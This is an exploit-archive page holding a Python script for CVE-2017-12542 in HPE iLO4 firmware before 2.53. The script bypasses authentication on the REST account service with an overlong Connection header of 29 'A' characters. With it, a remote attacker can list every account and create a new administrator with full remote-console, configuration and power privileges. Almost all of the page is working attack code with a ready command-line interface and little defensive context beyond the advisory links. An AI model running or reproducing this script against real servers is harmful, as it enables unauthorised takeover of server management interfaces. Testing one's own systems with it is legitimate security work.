ExploitFixes
HPE iLO4 < 2.53 - Add New Administrator User 2018-02-05 14:05:28

#!/usr/bin/env python

"""
Exploit trigger was presented @reconbrx 2018

Vulnerability found and documented by synacktiv:
https://www.synacktiv.com/posts/exploit/rce-vulnerability-in-hp-ilo.html

Original advisory from HP:
https://support.hpe.com/hpsc/doc/public/display?docId=hpesbhf03769en_us

Other advisories for this CVE:
https://tools.cisco.com/security/center/viewAlert.x?alertId=54930
https://securitytracker.com/id/1039222

IMPORTANT:
THIS EXPLOIT IS JUST FOR ONE OUT OF THE THREE VULNERABILITES COVERED BY CVE-2017-12542!!!
The two other vulns are critical as well, but only triggerable on the host itself.


"""

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
import json
import urllib3

#all of the HP iLO interfaces run on HTTPS, but most of them are using self-signed SSL cert
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

exploit_trigger = {'Connection' : 'A'*29}
accounts_url = 'https://%s/rest/v1/AccountService/Accounts'



def test(ip):

url = accounts_url % ip
try:
response = requests.get(url, headers = exploit_trigger, verify = False)
except Exception as e:
return False, 'Could not connect to target %s, Reason: %s' % (ip, str(e))

try:
data = json.loads(response.text)
except Exception as e:
return False, 'Target response not as exected!, Exception data: %s' % (str(e),)

return True, data

def exploit(ip, username, password):
Oem = {
'Hp' : {
'LoginName' : username,
'Privileges': {
'LoginPriv' : True,
'RemoteConsolePriv': True,
'UserConfigPriv' : True,
'VirtualMediaPriv': True,
'iLOConfigPriv':True,
'VirtualPowerAndResetPriv':True,
}
}
}
body = {
'UserName':username,
'Password':password,
'Oem':Oem
}
url = accounts_url % ip



try:
response = requests.post(url, json=body, headers = exploit_trigger, verify = False)
except Exception as e:
return False, 'Could not connect to target %s, Reason: %s' % (ip, str(e))

if response.status_code in [requests.codes.ok, requests.codes.created]:
return True, response.text
else:
return False, 'Server returned status code %d, data: %s' % (response.status_code, response.text)

if __name__ == '__main__':
import argparse
import sys
parser = argparse.ArgumentParser(description='CVE-2017-12542 Tester and Exploiter script.')
parser.add_argument('ip', help='target IP')
parser.add_argument('-t', action='store_true', default=True, help='Test. Trigger the exploit and list all users')
parser.add_argument('-e', action='store_true', default=False, help='Exploit. Create a new admin user with the credentials specified in -u and -p')
parser.add_argument('-u', help='username of the new admin user')
parser.add_argument('-p', help='password of the new admin user')

args = parser.parse_args()

if args.e:
if args.u is None or args.p is None:
print('Username and password must be set for exploiting!')
sys.exit()
res, data = exploit(args.ip, args.u, args.p)
if res:
print('[+] Sucsessfully added user!')
else:
print('[-] Error! %s' % data)

elif args.t:
res, data = test(args.ip)
if res:
print('[+] Target is VULNERABLE!')
for i in data['Items']:
print('[+] Account name: %s Username: %s' % (i['Name'], i['Oem']['Hp']['LoginName']))
else:
print('[-] Error! %s' % data)